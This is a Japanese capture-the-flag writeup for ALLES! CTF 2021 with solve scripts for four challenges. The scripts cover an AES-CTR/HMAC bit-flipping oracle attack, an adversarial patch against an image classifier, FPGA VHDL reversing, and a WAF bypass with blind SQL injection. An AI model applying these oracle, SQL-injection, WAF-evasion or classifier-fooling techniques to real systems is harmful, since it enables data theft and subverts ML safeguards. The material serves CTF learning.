9/4-9/5 で開催していた ALLES! CTF 2021 にチーム WreckTheLine で参加しました。結果は 11th/523 (得点のあるチームのみカウント) でした。あと1問解ければ賞金圏内でした…悔しい
あまり (いわゆる Crypto の意味での) Crypto の問題はほぼなかったので、今回は普段あまりやらない問題に手を出してました。疲れた。
以下、解いた問題についての writeup です。
Boomer Crypto
※いわゆる Crypto
Secure Flag Service
46 solves
#!/usr/bin/env python3
import base64
from Crypto.Cipher import AES
from Crypto.Hash import SHA3_256, HMAC, BLAKE2s
from Crypto.Random import urandom, random
from secret import FLAG, PASSWORD
encryption_key = BLAKE2s.new(data=PASSWORD + b"encryption_key").digest()
mac_key = BLAKE2s.new(data=PASSWORD + b"mac_key").digest()
def int_to_bytes(i):
return i.to_bytes((i.bit_length() + 7) // 8, byteorder="big")
def encode(s):
bits = bin(int.from_bytes(s, byteorder="big"))[2:]
ret = ""
for bit in bits:
if bit == "1":
if random.randrange(0, 2):
ret += "01"
else:
ret += "10"
else:
ret += "00"
return int_to_bytes(int(ret, base=2))
def decode(s):
bits = bin(int.from_bytes(s, byteorder="big"))[2:]
if len(bits) % 2:
bits = "0" + bits
ret = ""
for i in range(0, len(bits) - 1, 2):
if int(bits[i] + bits[i + 1], base=2):
ret += "1"
else:
ret += "0"
return int_to_bytes(int(ret, base=2))
def encrypt(m):
nonce = urandom(8)
aes = AES.new(key=encryption_key, mode=AES.MODE_CTR, nonce=nonce)
tag = HMAC.new(key=mac_key, msg=m).digest()
return nonce + aes.encrypt(encode(m) + tag)
def decrypt(c):
try:
aes = AES.new(key=encryption_key, mode=AES.MODE_CTR, nonce=c[:8])
decrypted = aes.decrypt(c[8:])
message, tag = decode(decrypted[:-16]), decrypted[-16:]
HMAC.new(key=mac_key, msg=message).verify(mac_tag=tag)
return message
except ValueError:
print("Get off my lawn or I call the police!!!")
exit(1)
def main():
try:
encrypted_password = base64.b64decode(input("Encrypted password>"))
password = decrypt(encrypted_password)
if password == PASSWORD:
print(str(base64.b64encode(encrypt(FLAG)), "utf-8"))
else:
print("Wrong Password!!!")
except:
exit(1)
if __name__ == "__main__":
main()
AES の CTR モードで暗号化を行っています。ただ暗号化するだけでなく、 encode
を使っています。これはメッセージの各ビットについて 1
を 01
または 10
に、 0
を 00
に変更する処理です。逆の操作 decode
は、 00
を 0
にしてそれ以外は 1
になります。また HMAC での検証も行われています。
PASSWORD
を暗号化した文字列が問題文中に与えられているので、まずはこの値をリークさせることを試みます (自分はこの問題文中の暗号文の存在にしばらく気づかず、沼にハマってました…)
decode
の処理が特殊なので、これをうまく使うことを考えます。
CTR モードでは cipher = plain + AES(nonce||counter)
(+
は xor) の関係があるため、 cipher
にある値で xor をとることは plain
にも同じ値で xor をとることに対応します。
ここで PASSWORD
の暗号文を2ビットずつ区切り、ある区切られたブロックの2ビットをそれぞれ反転 (すなわち 1
で xor をとる) させて decrypt
を試みてみます。 AES の decrypt
結果もあるビットが反転した形になります。2ビットずつ見ていったときに 11
, 10
, 01
は1に decode
、 00
は 0
になるので、もともと 00
ならばビット反転させた2パターンでは必ず 1
となって HMAC の検証で落ちます。もともと 01
もしくは 10
のときは片方は検証が通り、片方は検証が通らないことになります。これで PASSWORD
をリークできます。
from base64 import b64decode, b64encode
from Crypto.Util.number import bytes_to_long, long_to_bytes
from pwn import remote
enc_password = b64decode(b"kgsekWGeAwPhz6tbMyLd34Bg5pwhy2TkQJF7NRYC987Ibuiu/dmNHqyYXHV0kXlksThSRi83Qu2owAiUdT9pfqlY")
nonce = enc_password[:8]
enc_password = enc_password[8:]
enc_password_int = bytes_to_long(enc_password)
def try_decrypt(payload: bytes):
io = remote("7b000000cb42a1afe848f639-secure-flag-service.challenge.master.allesctf.net", 31337, ssl=True)
payload = b64encode(payload)
io.sendlineafter("password>", payload)
ret = io.recvline().strip().decode()
io.close()
if "Get off" in ret or "Wrong" in ret:
return False
else:
return True
# server が不安定だったので EOFError の処理を書いている
rec_pass_bin = ""
for i in range(8*16, 30*16, 2):
while True:
try:
print(i)
tmp_enc_password_0 = long_to_bytes(enc_password_int ^ (1 << i))
tmp_enc_password_1 = long_to_bytes(enc_password_int ^ (1 << (i + 1)))
res_0 = try_decrypt(nonce + tmp_enc_password_0)
res_1 = try_decrypt(nonce + tmp_enc_password_1)
b = (not res_0) and (not res_1)
rec_pass_bin = str(0 if b else 1) + rec_pass_bin
break
except EOFError:
continue
PASSWORD = long_to_bytes(int(rec_pass_bin, 2))
PASSWORD
が求まったので、 encryption_key
や mac_key
も求まり、手元でフラグの暗号文を復号することができます。
encryption_key = BLAKE2s.new(data=PASSWORD + b'encryption_key').digest()
mac_key = BLAKE2s.new(data=PASSWORD + b'mac_key').digest()
enc_flag = b64decode(b"wz2nZBOfbbFEEG7+VUxmqEmSgIMf2Zu4sunEaupksU+4Mx5MNbeE09WoSmBe/cFG/b1BXu3IA9ulc9lRy4xpzRFweKGE5m2OEK8B6rQl2k6jOzH+zdg66RyKtIvJ2g==") # enc_password を送った
decrypt(enc_flag)
ALLES!{who_needs_ind-cca_anyways??}
Misc
PixelCat
42 solves
ML 問です。入力画像を猫か犬か分類するモデル (tensorflow 製) が与えられています。入力画像の 128x128 ピクセルの内、 1900 ピクセルまで固定の値に変更することができるフィルターを与えることができます。
Fast Gradient Sign Method が典型的には使えそうなので、試してみたらうまく動きました。 具体的には、以下の手順でやりました。
- 与えられた猫の画像をモデルに入力し、 が大きくなるようなピクセル top 1900を選び出す
- 正直これは不要で、多分ランダムな1900点選ぶのでもいけると思う
- ランダムな画像を生成してモデルに入力し、 の勾配を、選んだピクセルに対して足す。これを十分確率が大きくなるまで繰り返す。
- 猫の画像の augmentation をした画像を使うほうが性能でる気がするけど、
np.random.random
の画像で十分にできた。
- 猫の画像の augmentation をした画像を使うほうが性能でる気がするけど、
import numpy as np
import tensorflow as tf
from PIL import Image
from tensorflow.keras.models import load_model
ImageFile.LOAD_TRUNCATED_IMAGES = True
file_path = "cat.jpg"
w, h = (128, 128)
image = Image.open(file_path)
image = image.resize((w, h))
image = image.convert("RGB")
image = np.expand_dims(image, axis=0)
image = np.array(image)
image = image / 255
# どこの pixel でフィルター作るか決める (どこでもよさそうだけど)
inp = image.copy()
inp_tensor = tf.convert_to_tensor(inp)
with tf.GradientTape(persistent=True) as t:
t.watch(inp_tensor)
out = model(inp_tensor)
out_prob = tf.math.reduce_mean(out, axis=0)[1]
grad = t.gradient(out_prob, inp_tensor)
tmp = grad.numpy().sum(axis=3)[0].reshape(-1)
idx_list_1d = tmp.argsort()[-1899:]
idx_list_2d = [(idx // 128, idx % 128) for idx in idx_list_1d]
# ランダムな入力に対して grad を計算し、 filter を更新
out_prob = 0.0
while out_prob < 0.95:
inp = np.random.random((1024, 128, 128, 3))
for i in range(1899):
row, col = idx_list_2d[i]
inp[:, row, col, :] = filters[i]
inp_tensor = tf.convert_to_tensor(inp)
with tf.GradientTape(persistent=True) as t:
t.watch(inp_tensor)
out = model(inp_tensor)
out_prob = tf.math.reduce_mean(out, axis=0)[1]
print(out_prob)
grad = t.gradient(out_prob, inp_tensor)
grad = grad.numpy().sum(axis=0)
for i in range(1899):
row, col = idx_list_2d[i]
filters[i] += 10 * grad[row, col]
filters = np.clip(filters, 0.0, 1.0)
# check
inp = image.copy()
for i in range(1899):
row, col = idx_list_2d[i]
inp[:, row, col, :] = filters[i]
inp_tensor = tf.convert_to_tensor(inp)
print(model(inp_tensor))
# filter 画像を出力
filters_np = np.zeros((128, 128, 4), dtype=np.uint8)
for i in range(1899):
row, col = idx_list_2d[i]
filters_np[row, col, :3] = 255 * filters[i]
filters_np[row, col, 3] = 255
img = Image.fromarray(filters_np)
img.save("payload.png")
これで出力された payload.png
を提出してしばらく経つとフラグが得られました。
ALLES!{4dv3r53r14l_m4ss_1m4g3_m4n1pul4t0r}
機械学習エンジニアのくせに tensorflow 全然使いこなせていないので本当にダメ…(普段は pytorch しか使ってない) grad
を取るのに手こずってしまった…
Reverse Engineering
Fomu Whisperer
30 solves
VHDL で書かれたプログラムのリバーシング問題。この問題では実際に fomu に対して入力ができ、出力を LED で確認できます (ビデオで与えられます)。2ピン分入力ができるので、それらを適切に制御するとフラグのビット列が LED を通して得られます。
flag1Shift
は以下のように更新されています。
flag1Shift(flag1Shift'left downto 3) <= flag1Shift(flag1Shift'left-3 downto 0);
flag1Shift(0) <= user_1_debounced;
flag1Shift(1) <= user_4_debounced;
flag1Shift(2) <= user_1_debounced xor user_4_debounced;
user_i_debounced
は入力 user_i
のチャタリングを除去したものです。この flag1Shift
が flag1Ref
に一致していると flag1Solved
が1となり、それ以降ではフラグのビット列が出力されるモードになります。
signal flag1Ref : std_logic_vector(20 downto 0) := "111101110101110000011";
...
if (flag1Shift(flag1Ref'left downto 0) = flag1Ref) then
flag1Solved <= '1';
...
if (flag1Solved = '1') then
flag1(flag1'left downto 2) <= flag1(flag1'left-2 downto 0);
led_flag(2) <= flag1(flag1'left);
led_flag(1) <= flag1(flag1'left-1);
flag1(0) <= flag1(flag1'left-1);
flag1(1) <= flag1(flag1'left);
以下のコードを送ることで、フラグのビット列を見ることができました。 最初の sleep が4なのはタイミング調整のため、最後の sleep が240なのはフラグのビット列を最後まで見るためです。
pin 1=1,4=0
sleep 4
pin 1=0,4=1
sleep 3
pin 1=1,4=0
sleep 3
pin 1=0,4=1
sleep 3
pin 1=0,4=0
sleep 3
pin 1=1,4=1
sleep 240
最後のフラグについては、 LED が緑なら 01
、青色なら 10
、水色なら 11
です。自動化面倒だったので人力でやりました…
ALLES!{vhd1_r3v}
Verilog は書いたことがあったのですが VHDL は初めてだったので、基本的な記法を調べるところからでした。勉強になったし実際にハードを動かすことができて面白かったです。
Fomu Whisperer 2
21 solves
この問題は前問の続きです。前回と同様、 flag2Shift
を flag2Ref
に一致させればフラグが得られます。
後述しますが、ほぼチームメイトが解いてくれました。
flag2Shift(flag2Shift'left downto 2) <= flag2Shift(flag2Shift'left-2 downto 0);
flag2Shift(0) <= user_1_debounced;
flag2Shift(1) <= user_4_debounced;
...
if (flag2Shift(flag2Ref'left downto 0) = flag2Ref) then
flag2Solved <= '1';
ただこの問題では、 flag2Ref
は SB_MAC16
で計算された結果を使用しています。計算には flag1
の値 (前問でわかっているので既知) を使っています。なので SB_MAC16
の動作を追うことができれば前問と同様に解くことができます。
mac16: SB_MAC16
generic map (A_REG => 1, B_REG=>1, C_REG => 1, D_REG=>1, BOTOUTPUT_SELECT=>0, BOTADDSUB_UPPERINPUT => 1, BOTADDSUB_CARRYSELECT => 1, BOTADDSUB_LOWERINPUT => 2, TOPADDSUB_UPPERINPUT => 1, TOPADDSUB_CARRYSELECT => 2, TOPOUTPUT_SELECT => 0, TOPADDSUB_LOWERINPUT => 2)
port map(clk=>clk, A=>SA, B=>SB, C=>SC, D=>SD, O=>dout, CI => '0', OLOADBOT => '0', OHOLDBOT=>'1', ORSTBOT=>'1', OLOADTOP => '0', ORSTTOP=>'1', OHOLDTOP=>'1', ADDSUBTOP=>'1');
...
if (rising_edge(clk)) then
SA <= flag1(SA'left downto 0);
SB <= flag1(flag1'left downto flag1'left-15);
SC <= flag1(68 downto (68-15));
SD <= flag1(86 downto (86-15));
flag2Ref(31 downto 0) <= not dout(31 downto 0);
SB_MAC16
の 回路図 を眺めてみたのですが動作を追うことができず、チームメイトにヘルプを投げました。すると Verilog での実装 を見つけてくれました。しかもそれを オンライン上で実行 してくれて、 dout
の値を求めてくれました。あれ、自分何もしてなくない…?
以下の verilog コードが、 dout
を求めるのに使われたものです。
/*
* Do not change Module name
*/
module main;
wire [15:0]SA = 16'b0111011001111101;
wire [15:0]SB = 16'b0100000101001100;
wire [15:0]SC = 16'b1011001101000011;
wire [15:0]SD = 16'b0100001011110110;
wire [31:0]SO;
reg clk;
SB_MAC16 s (
.CLK(clk),
.CE(1'b1),
.A(SA),
.B(SB),
.C(SC),
.D(SD),
.AHOLD(1'b0),
.BHOLD(1'b0),
.CHOLD(1'b0),
.DHOLD(1'b0),
.IRSTTOP(1'b0),
.IRSTBOT(1'b0),
.OLOADBOT(1'b0),
.OHOLDBOT(1'b1),
.ORSTBOT(1'b1),
.OLOADTOP(1'b0),
.ORSTTOP(1'b1),
.OHOLDTOP(1'b1),
.ADDSUBTOP(1'b1),
.ADDSUBBOT(1'b0),
.CI(1'b0),
.ACCUMCI(1'b0),
.SIGNEXTIN(1'b0),
.O(SO)
);
initial begin
clk = 0;
forever
#1 clk = ~clk;
end
initial
begin
// forever
$display(SO);
$display(SA);
#1 $display(SO);
#1 $display(SO);#1 $display(SO);#1 $display(SO);#1 $display(SO);
#1000 $display(SO);
#100000 $display(SO);
$finish ;
end
endmodule
module SB_MAC16 (
input CLK, CE,
input [15:0] C, A, B, D,
input AHOLD, BHOLD, CHOLD, DHOLD,
input IRSTTOP, IRSTBOT,
input ORSTTOP, ORSTBOT,
input OLOADTOP, OLOADBOT,
input ADDSUBTOP, ADDSUBBOT,
input OHOLDTOP, OHOLDBOT,
input CI, ACCUMCI, SIGNEXTIN,
output [31:0] O,
output CO, ACCUMCO, SIGNEXTOUT
);
parameter [0:0] NEG_TRIGGER = 0;
parameter [0:0] C_REG = 1;
parameter [0:0] A_REG = 1;
parameter [0:0] B_REG = 1;
parameter [0:0] D_REG = 1;
parameter [0:0] TOP_8x8_MULT_REG = 0;
parameter [0:0] BOT_8x8_MULT_REG = 0;
parameter [0:0] PIPELINE_16x16_MULT_REG1 = 0;
parameter [0:0] PIPELINE_16x16_MULT_REG2 = 0;
parameter [1:0] TOPOUTPUT_SELECT = 0;
parameter [1:0] TOPADDSUB_LOWERINPUT = 2;
parameter [0:0] TOPADDSUB_UPPERINPUT = 1;
parameter [1:0] TOPADDSUB_CARRYSELECT = 2;
parameter [1:0] BOTOUTPUT_SELECT = 0;
parameter [1:0] BOTADDSUB_LOWERINPUT = 2;
parameter [0:0] BOTADDSUB_UPPERINPUT = 1;
parameter [1:0] BOTADDSUB_CARRYSELECT = 1;
parameter [0:0] MODE_8x8 = 0;
parameter [0:0] A_SIGNED = 0;
parameter [0:0] B_SIGNED = 0;
wire clock = CLK ^ NEG_TRIGGER;
// internal wires, compare Figure on page 133 of ICE Technology Library 3.0 and Fig 2 on page 2 of Lattice TN1295-DSP
// http://www.latticesemi.com/~/media/LatticeSemi/Documents/TechnicalBriefs/SBTICETechnologyLibrary201608.pdf
// https://www.latticesemi.com/-/media/LatticeSemi/Documents/ApplicationNotes/AD/DSPFunctionUsageGuideforICE40Devices.ashx
wire [15:0] iA, iB, iC, iD;
wire [15:0] iF, iJ, iK, iG;
wire [31:0] iL, iH;
wire [15:0] iW, iX, iP, iQ;
wire [15:0] iY, iZ, iR, iS;
wire HCI, LCI, LCO;
// Regs C and A
reg [15:0] rC, rA;
always @(posedge clock, posedge IRSTTOP) begin
if (IRSTTOP) begin
rC <= 0;
rA <= 0;
end else if (CE) begin
if (!CHOLD) rC <= C;
if (!AHOLD) rA <= A;
end
end
assign iC = C_REG ? rC : C;
assign iA = A_REG ? rA : A;
// Regs B and D
reg [15:0] rB, rD;
always @(posedge clock, posedge IRSTBOT) begin
if (IRSTBOT) begin
rB <= 0;
rD <= 0;
end else if (CE) begin
if (!BHOLD) rB <= B;
if (!DHOLD) rD <= D;
end
end
assign iB = B_REG ? rB : B;
assign iD = D_REG ? rD : D;
// Multiplier Stage
wire [15:0] p_Ah_Bh, p_Al_Bh, p_Ah_Bl, p_Al_Bl;
wire [15:0] Ah, Al, Bh, Bl;
assign Ah = {A_SIGNED ? {8{iA[15]}} : 8'b0, iA[15: 8]};
assign Al = {A_SIGNED ? {8{iA[ 7]}} : 8'b0, iA[ 7: 0]};
assign Bh = {B_SIGNED ? {8{iB[15]}} : 8'b0, iB[15: 8]};
assign Bl = {B_SIGNED ? {8{iB[ 7]}} : 8'b0, iB[ 7: 0]};
assign p_Ah_Bh = Ah * Bh;
assign p_Al_Bh = Al * Bh;
assign p_Ah_Bl = Ah * Bl;
assign p_Al_Bl = Al * Bl;
// Regs F and J
reg [15:0] rF, rJ;
always @(posedge clock, posedge IRSTTOP) begin
if (IRSTTOP) begin
rF <= 0;
rJ <= 0;
end else if (CE) begin
rF <= p_Ah_Bh;
if (!MODE_8x8) rJ <= p_Al_Bh;
end
end
assign iF = TOP_8x8_MULT_REG ? rF : p_Ah_Bh;
assign iJ = PIPELINE_16x16_MULT_REG1 ? rJ : p_Al_Bh;
// Regs K and G
reg [15:0] rK, rG;
always @(posedge clock, posedge IRSTBOT) begin
if (IRSTBOT) begin
rK <= 0;
rG <= 0;
end else if (CE) begin
if (!MODE_8x8) rK <= p_Ah_Bl;
rG <= p_Al_Bl;
end
end
assign iK = PIPELINE_16x16_MULT_REG1 ? rK : p_Ah_Bl;
assign iG = BOT_8x8_MULT_REG ? rG : p_Al_Bl;
// Adder Stage
assign iL = iG + (iK << 8) + (iJ << 8) + (iF << 16);
// Reg H
reg [31:0] rH;
always @(posedge clock, posedge IRSTBOT) begin
if (IRSTBOT) begin
rH <= 0;
end else if (CE) begin
if (!MODE_8x8) rH <= iL;
end
end
assign iH = PIPELINE_16x16_MULT_REG2 ? rH : iL;
// Hi Output Stage
wire [15:0] XW, Oh;
reg [15:0] rQ;
assign iW = TOPADDSUB_UPPERINPUT ? iC : iQ;
assign iX = (TOPADDSUB_LOWERINPUT == 0) ? iA : (TOPADDSUB_LOWERINPUT == 1) ? iF : (TOPADDSUB_LOWERINPUT == 2) ? iH[31:16] : {16{iZ[15]}};
assign {ACCUMCO, XW} = iX + (iW ^ {16{ADDSUBTOP}}) + HCI;
assign CO = ACCUMCO ^ ADDSUBTOP;
assign iP = OLOADTOP ? iC : XW ^ {16{ADDSUBTOP}};
always @(posedge clock, posedge ORSTTOP) begin
if (ORSTTOP) begin
rQ <= 0;
end else if (CE) begin
if (!OHOLDTOP) rQ <= iP;
end
end
assign iQ = rQ;
assign Oh = (TOPOUTPUT_SELECT == 0) ? iP : (TOPOUTPUT_SELECT == 1) ? iQ : (TOPOUTPUT_SELECT == 2) ? iF : iH[31:16];
assign HCI = (TOPADDSUB_CARRYSELECT == 0) ? 1'b0 : (TOPADDSUB_CARRYSELECT == 1) ? 1'b1 : (TOPADDSUB_CARRYSELECT == 2) ? LCO : LCO ^ ADDSUBBOT;
assign SIGNEXTOUT = iX[15];
// Lo Output Stage
wire [15:0] YZ, Ol;
reg [15:0] rS;
assign iY = BOTADDSUB_UPPERINPUT ? iD : iS;
assign iZ = (BOTADDSUB_LOWERINPUT == 0) ? iB : (BOTADDSUB_LOWERINPUT == 1) ? iG : (BOTADDSUB_LOWERINPUT == 2) ? iH[15:0] : {16{SIGNEXTIN}};
assign {LCO, YZ} = iZ + (iY ^ {16{ADDSUBBOT}}) + LCI;
assign iR = OLOADBOT ? iD : YZ ^ {16{ADDSUBBOT}};
always @(posedge clock, posedge ORSTBOT) begin
if (ORSTBOT) begin
rS <= 0;
end else if (CE) begin
if (!OHOLDBOT) rS <= iR;
end
end
assign iS = rS;
assign Ol = (BOTOUTPUT_SELECT == 0) ? iR : (BOTOUTPUT_SELECT == 1) ? iS : (BOTOUTPUT_SELECT == 2) ? iG : iH[15:0];
assign LCI = (BOTADDSUB_CARRYSELECT == 0) ? 1'b0 : (BOTADDSUB_CARRYSELECT == 1) ? 1'b1 : (BOTADDSUB_CARRYSELECT == 2) ? ACCUMCI : CI;
assign O = {Oh, Ol};
endmodule
自分は dout から正解入力を作る script を書き、コードを提出し、 LED を読み取りました。
dout = "10010101000010100010110100010011"
for i in range(0, 32, 2):
bit_4, bit_1 = int(dout[i]), int(dout[i+1])
bit_4, bit_1 = 1-bit_4, 1-bit_1
line = f"pin 4={bit_4},1={bit_1}"
print(line)
sleep_t = 3
if i == 0:
sleep_t += 1
elif i == 24:
sleep_t -= 1
print(f"sleep {sleep_t}")
ALLES!{dsp_m4st3r}
競技終了1時間前ぐらいにコードを提出したので、 LED の動画が返ってくるまでのそわそわタイムが心臓に悪かったですね…
復習
Web
Amazing Crypto WAF
23 solves
ノートを書いたり閲覧したりできるアプリです。ただしこのアプリを直接操作するわけでなく、暗号化/復号を行うアプリを経由することになります。したがってノートアプリで用いる DB の中身は全て暗号化されています。
(snipped)
# the WAF is still early in development and only protects a few cases
def waf_param(param):
MALICIOUS = ["select", "union", "alert", "script", "sleep", '"', "'", "<"]
for key in param:
val = param.get(key, "")
while val != unquote(val):
val = unquote(val)
for evil in MALICIOUS:
if evil.lower() in val.lower():
raise Exception("hacker detected")
(snipped)
@app.route("/", defaults={"path": ""})
@app.route("/<path:path>", methods=["POST", "GET"])
def proxy(path):
# Web Application Firewall
try:
waf_param(request.args)
waf_param(request.form)
except:
return "error"
# contact backend server
proxy_request = None
query = request.query_string.decode()
print(query)
headers = {"Cookie": request.headers.get("Cookie", None)}
if request.method == "GET":
proxy_request = requests.get(
f"{BACKEND_URL}{path}?{query}", headers=headers, allow_redirects=False
)
elif request.method == "POST":
headers["Content-type"] = request.content_type
proxy_request = requests.post(
f"{BACKEND_URL}{path}?{query}",
data=encrypt_params(request.form),
headers=headers,
allow_redirects=False,
)
if not proxy_request:
return "error"
response_data = decrypt_data(proxy_request.content)
injected_data = inject_ad(response_data)
resp = make_response(injected_data)
resp.status = proxy_request.status_code
if proxy_request.headers.get("Location", None):
resp.headers["Location"] = proxy_request.headers.get("Location")
if proxy_request.headers.get("Set-Cookie", None):
resp.headers["Set-Cookie"] = proxy_request.headers.get("Set-Cookie")
if proxy_request.headers.get("Content-Type", None):
resp.content_type = proxy_request.headers.get("Content-Type")
return resp
アプリ側に自明な SQLi の脆弱性が存在します。
@app.route('/notes')
@login_required
def notes():
order = request.args.get('order', 'desc')
notes = query_db(f'select * from notes where user = ? order by timestamp {order}', [g.user['uuid']])
return render_template('notes.html', user=g.user, notes=notes)
order
経由で SQLi ができそうです。しかし暗号化を行う crypter/app.py
では MALICIOUS = ["select", "union", "alert", "script", "sleep", '"', "'", "<"]
が args
の文字に含まれている場合はじく処理があり、単純にはうまくいきません。
SQLi の方法もわからなかったし、 SQLi できたとしても DB 内のデータは暗号化されているので鍵がわからないと復号できなさそう…とあれこれ悩んでいるうちに終了。
Ark さんの writeup を参考に解き直しました。
/notes?order=...
ではなく /notes%3forder=...
に GET しています。この場合どうなるかというと crypter/app.py
では @app.route("/<path:path>", methods=["POST", "GET"])
が指定されている関係で path=notes%3forder=...
が代入され、 request.args
は空になり、 WAF を回避できます。なるほど…
SQLi ができるようになったので、 order=LIMIT IIF(SUBSTR((SELECT body FROM notes), {idx}, 1)='{c}', 1, 0)--
等とすると、 idx
番目の文字が c
であるか否かで挙動を変えることができます。
これで DB の中身をリークできるのですが、復号しないといけません。暗号処理の部分には問題がなさそうです (そもそも web 問だし…)。ではどうすべきかというと、DB の任意の要素が同様の処理で復号されるため、ユーザー名を暗号文にすると UI に表示されるユーザー名に復号結果を表示させることができます。なるほど…
from multiprocessing import Pool
import requests
url = "https://7b00000014971ac5d00bc620-amazing-crypto-waf.challenge.master.allesctf.net:31337/notes"
query_template = (
"%3forder=LIMIT IIF(SUBSTR((SELECT body FROM notes), {idx}, 1)='{c}', 1, 0)--"
)
# 事前に適当にユーザー登録をしておき、ノートを一つつくっておく
headers = {
"Cookie": "session=5118a545e05e415fb8fb756158e9df93.5b14d3e84b09aacf0b3354fc1163f73083441601608d06e055d91cbe2e694ad8"
}
# 間違っている場合の文字数を予め知っておく
query = query_template.format(idx=1, c="A")
res = requests.get(url + query, headers=headers)
len_wrong = len(res.text)
def get_results(idx: int, j: int) -> bool:
c = chr(j)
if c in "#%&'\"()*'/{}":
return False
query = query_template.format(idx=idx, c=c)
res = requests.get(url + query, headers=headers)
return len(res.text) != len_wrong
flag_body = ""
for idx in range(len(flag_body) + 1, 200):
with Pool(16) as p:
results = p.starmap(get_results, [(idx, j) for j in range(32, 128)])
for r, j in zip(results, range(32, 128)):
if r:
flag_body += chr(j)
print(flag_body)
break
else:
break
ALLES!{American_scientists_said,_dont_do_WAFs!}